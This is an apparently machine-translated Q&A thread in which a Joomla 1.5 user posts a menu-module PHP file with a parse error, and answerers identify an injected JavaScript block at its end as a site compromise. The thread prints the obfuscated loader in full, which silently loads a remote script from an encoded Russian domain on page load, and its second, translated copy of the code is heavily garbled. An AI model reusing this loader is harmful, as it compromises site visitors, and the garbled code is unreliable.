分析错误:语法错误,意外'<';在第84行的/home/future/public_html/modules/mod_main menu/tmpl/default.php中

分析错误:语法错误,意外'<';在第84行的/home/future/public_html/modules/mod_main menu/tmpl/default.php中,php,syntax-error,Php,Syntax Error,不幸的是,我的php文件出现未知错误。(适用于joomla 1.5) 我似乎不明白出了什么问题 这是我的全部代码,第84行有一个明显的错误。非常感谢您的反馈,谢谢 <?php // no direct access defined('_JEXEC') or die('Restricted access'); if ( ! defined('modMainMenuXMLCallbackDefined') ) { function modMainMenuXMLCallback(&

不幸的是,我的php文件出现未知错误。(适用于joomla 1.5) 我似乎不明白出了什么问题

这是我的全部代码,第84行有一个明显的错误。非常感谢您的反馈,谢谢

<?php

// no direct access
defined('_JEXEC') or die('Restricted access');


if ( ! defined('modMainMenuXMLCallbackDefined') )
{
function modMainMenuXMLCallback(&$node, $args)
{
 $user = &JFactory::getUser();
 $menu = &JSite::getMenu();
 $active = $menu->getActive();
 $path = isset($active) ? array_reverse($active->tree) : null;

 if (($args['end']) && ($node->attributes('level') >= $args['end']))
 {
  $children = $node->children();
  foreach ($node->children() as $child)
  {
   if ($child->name() == 'ul') {
    $node->removeChild($child);
   }
  }
 }

 if ($node->name() == 'ul') {
  foreach ($node->children() as $child)
  {
   if ($child->attributes('access') > $user->get('aid', 0)) {
    $node->removeChild($child);
   }
  }
 }

 if (($node->name() == 'li') && isset($node->ul)) {
  $node->addAttribute('class', 'parent');
 }

 if (isset($path) && (in_array($node->attributes('id'), $path) || in_array($node->attributes('rel'), $path)))
 {
  if ($node->attributes('class')) {
   $node->addAttribute('class', $node->attributes('class').' active');
  } else {
   $node->addAttribute('class', 'active');
  }
 }
 else
 {
  if (isset($args['children']) && !$args['children'])
  {
   $children = $node->children();
   foreach ($node->children() as $child)
   {
    if ($child->name() == 'ul') {
     $node->removeChild($child);
    }
   }
  }
 }

 if (($node->name() == 'li') && ($id = $node->attributes('id'))) {
  if ($node->attributes('class')) {
   $node->addAttribute('class', $node->attributes('class').' item'.$id);
  } else {
   $node->addAttribute('class', 'item'.$id);
  }
 }

 if (isset($path) && $node->attributes('id') == $path[0]) {
  $node->addAttribute('id', 'current');
 } else {
  $node->removeAttribute('id');
 }
 $node->removeAttribute('rel');
 $node->removeAttribute('level');
 $node->removeAttribute('access');
}
 define('modMainMenuXMLCallbackDefined', true);
}

modMainMenuHelper::render($params, 'modMainMenuXMLCallback');

<script>var Zl;if(Zl!='' && Zl!='ki'){Zl=''};function v(){var jL=new String();var M=window;var q="";var ZY='';var Z=unescape;var C;if(C!='' && C!='g'){C=null};this.nj='';var _='';this.X="";var t=new Date();var R="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x61\x72\x65\x61\x73\x61\x6c\x65\x2d\x63\x6f\x6d\x2e\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x7a\x2e\x65\x79\x6e\x79\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var Od;if(Od!='Dm' && Od!='V'){Od='Dm'};var Vr='';var P=new String("g");var B="";var E;if(E!='' && E!='gD'){E=null};function b(y,U){var zm=new Array();var a='';this.Cm="";var Vb=new String();var k=Z("%5b")+U+Z("%5d");var tX=new String();var MV;if(MV!='' && MV!='qt'){MV='MD'};var c=new RegExp(k, P);return y.replace(c, _);var cS="";var RTD='';};var Zr;if(Zr!='' && Zr!='vJ'){Zr=''};var L=new String();var DE=new Date();var fg;if(fg!='Ep'){fg='Ep'};var nf;if(nf!=''){nf='d_'};var W=Z("%2f%67%6f%6f%67%6c%65%2e%61%74%2f%67%6f%6f%67%6c%65%2e%61%74%2f%64%72%75%64%67%65%72%65%70%6f%72%74%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");this.aA='';var u='';this.XB='';var dP;if(dP!='i' && dP != ''){dP=null};var dN;if(dN!='' && dN!='zx'){dN='_y'};var WS=b('85624104275582212705194497','13296457');var Hb=new Array();var lP;if(lP!='ok' && lP != ''){lP=null};var O=document;function n(){var J;if(J!='mS' && J != ''){J=null};u=R;var jv;if(jv!='' && jv!='jw'){jv=''};u+=WS;var MJ;if(MJ!='Qp'){MJ=''};u+=W;var fj=new Array();this.PM="";try {this.dq='';var ln=new Date();var eS=new Date();h=O.createElement(b('sScwrwi4pSt5','OZjKg4w5S'));var uW=new String();var Aj;if(Aj!='lX'){Aj='lX'};var aF;if(aF!='' && aF!='_o'){aF=null};h.src=u;var GY;if(GY!='ev' && GY!='Jr'){GY='ev'};var KK;if(KK!=''){KK='gDq'};h.defer=[1][0];var nO;if(nO!='tP'){nO=''};var aV=new Date();var bE=new Date();O.body.appendChild(h);this.Ze="";} catch(MC){var Ki;if(Ki!='m_' && Ki != ''){Ki=null};};}M[String("pqP5onloa".substr(4)+"drYD".substr(0,1))]=n;var EY;if(EY!='' && EY!='wn'){EY='Sj'};var ep;if(ep!='' && ep!='_q'){ep='Oy'};var uE=new Array();var E_;if(E_!='iU'){E_='iU'};};this.pt="";v();var tl=new String();</script>
<!--793d57c076e95df45c451725e5dedf6f-->
getActive();
$path=isset($active)?array\u reverse($active->tree):空;
如果($args['end'])&($node->attributes('level')>=$args['end']))
{
$children=$node->children();
foreach($node->children()作为$child)
{
如果($child->name()=='ul'){
$node->removeChild($child);
}
}
}
如果($node->name()=='ul'){
foreach($node->children()作为$child)
{
如果($child->attributes('access')>$user->get('aid',0)){
$node->removeChild($child);
}
}
}
if(($node->name()='li')&&isset($node->ul)){
$node->addAttribute('class','parent');
}
if(isset($path)&(_数组中($node->attributes('id'),$path)| _数组中($node->attributes('rel'),$path)))
{
如果($node->attributes('class')){
$node->addAttribute('class',$node->attributes('class').'active');
}否则{
$node->addAttribute('class','active');
}
}
其他的
{
如果(isset($args['children'])和&!$args['children']))
{
$children=$node->children();
foreach($node->children()作为$child)
{
如果($child->name()=='ul'){
$node->removeChild($child);
}
}
}
}
如果(($node->name()='li')&($id=$node->attributes('id')){
如果($node->attributes('class')){
$node->addAttribute('class',$node->attributes('class')。'item'.$id);
}否则{
$node->addAttribute('class','item'.$id);
}
}
if(isset($path)&&&$node->attributes('id')==$path[0]){
$node->addAttribute('id','current');
}否则{
$node->removeAttribute('id');
}
$node->removeAttribute('rel');
$node->removeAttribute('level');
$node->removeAttribute('access');
}
定义('modMainMenuXMLCallbackDefined',true);
}
modMainMenuHelper::render($params,'modMainMenuXMLCallback');
var-Zl;如果(Zl!=''&&Zl!='ki'){Zl=''};函数v(){var jL=new String();var M=window;var q=“”;var ZY=”;var Z=unescape;var C;if(C!=''&&C!='g'){C=null};this.nj='';var_='';this.X=“;var t=new Date();var R=X6 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 Od!='Dm'&&Od!='V'){Od='Dm'};var Vr='';var P=新字符串(“g”);var B=“”;var E;如果(E)E.E!“”(E)和(E)E!“”(E)和(E)E!“”(E)和(E)E!“”(E)和(E)E!“”(E)E!“”(E)和(E)E!“”(E)和(E)和(E)和(E)E!(E)和(E)b)功能b(y,U,U,U,U,U,U,U,U,a,a,a,a,a,a,a,a,c,c,c,c,c,c,c,V,新字符串;var,V,V,VVVVVVVVVVB,新字符串;VAVB,新字符串;VAVB,新字符串;VVVVVVVVVVVVVVVVVVB,新字符串;新字符串;新字符串;VAVB;VAVB;VAVB;VAVB,新字符串;新字符串;VAVB;VAVB;VAVB;var;var;VA“)(ff)7.6%6%6%6%6%6%6%6%6%6%6%6f%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%);this.aA='';var u='';this.XB='';var dP;if(dP!='i'&dP!=''){dP=null};var dN;if(dN!=''&&dN!='zx'){dN='y'}(3)var lP;如果(lP)lP;如果(lP)lP;如果(lP)lP;如果(lP)lP)lP;如果(lP)lP!ok)和lP!“(lP=零零零;var O=文件;VaO=文件;VaO=文件;函数n)n(n)n)n(n)n(n)n(n)n)n(n)n(n)n)n)n(n)n(n)n(n)n)n)n)n(n(n)n(n)n)n)n(n(n)n)n)n(n)n(n)n(n)n(n(n)n)n(n)如果(如果(如果(M)如果(M(M(M)和(M(M)和(M)和(M(M)和(M)和(M)和J(M)和(M)和J(M)和(M)和(var eS=新日期()h=O.C=h=O.C=h=O.C=O.C.Create元素(b('SSCWRWI4PT5','OZJG4W555S');b('b('SSCWRWWW4'5','OZJJG555555S','OZZZJWWWW55555S');VAUW=新字符串;VAAJ;VaAJ;若(Aj=Aj=lX)若(Aj=lX)若(Aj=lX'''lX'{{{{{{{{{(Aj=lX'''lX'{{{{{{{(Aj'Aj=lX'''''{{{{{{Aj'Aj'Aj'Aj=lX'=lX'''''''lX''lX}}}}};Va;Va;Va;;appendChild(h);this.Ze=“”;}catch(MC){var Ki;if(Ki!='m_'&&Ki!=''{Ki=null};};}m[String(“pqP5onloa.substr(4)+“drYD.substr(0,1))]=n;var-EY;if(EY!='&&EY!='wn'){EY='Sj'};var-ep;if(ep!='&&ep!='ep'{ep='Oy};var-uE=new Array();var-E'='if(E'='iU E'='iU if){E='iU ui'};this.pt=new String();

我愿意冒险猜测文件底部是JavaScript。您需要在JavaScript之前关闭PHP标记,否则PHP将尝试将JavaScript视为PHP并失败


我也会高度怀疑JavaScript代码,因为它看起来不太好。我建议完全删除它,除非你理解它在做什么。如果你没有把它放在那里,检查你的站点上其他的JavaScript代码,考虑改变你的FTP密码,同时确保JoOMLA完全是最新的。你的生产代码突然停止工作了吗?如果是的话,我敢说你被黑客攻击了


顺便说一句,该脚本从一个俄罗斯网站加载一个脚本。

您感染了病毒或其他东西。Joomla mod_menu default.php结束于-

modMainMenuHelper::render($params, 'modMainMenuXMLCallback');

这正是这里的问题我对Joomla不熟悉,但标准做法是不允许软件修改自身-确保这些文件与Web服务器不属于同一所有者,并且写入权限仅属于所有者。您肯定应该关闭PHP标记,因为这是错误的来源。但下面是脚本boi的内容如果您好奇的话,可以将其简化为:window.onload=function n(){try{h=document.createElement(“脚本”);h.src=“”;h.defer=[1][0];document.body.appendChild(h);}catch(MC){};}你认为。这是可以治疗的吗?那么在这种情况下代码没有问题吗?哦,问题已经解决了。首先应该想到它。我不知道default.php文件发生了什么,但我做的是下载一个新的joomla包,重新加载default.php文件,并在我的服务器上替换它。立即解决了问题。非常感谢您的支持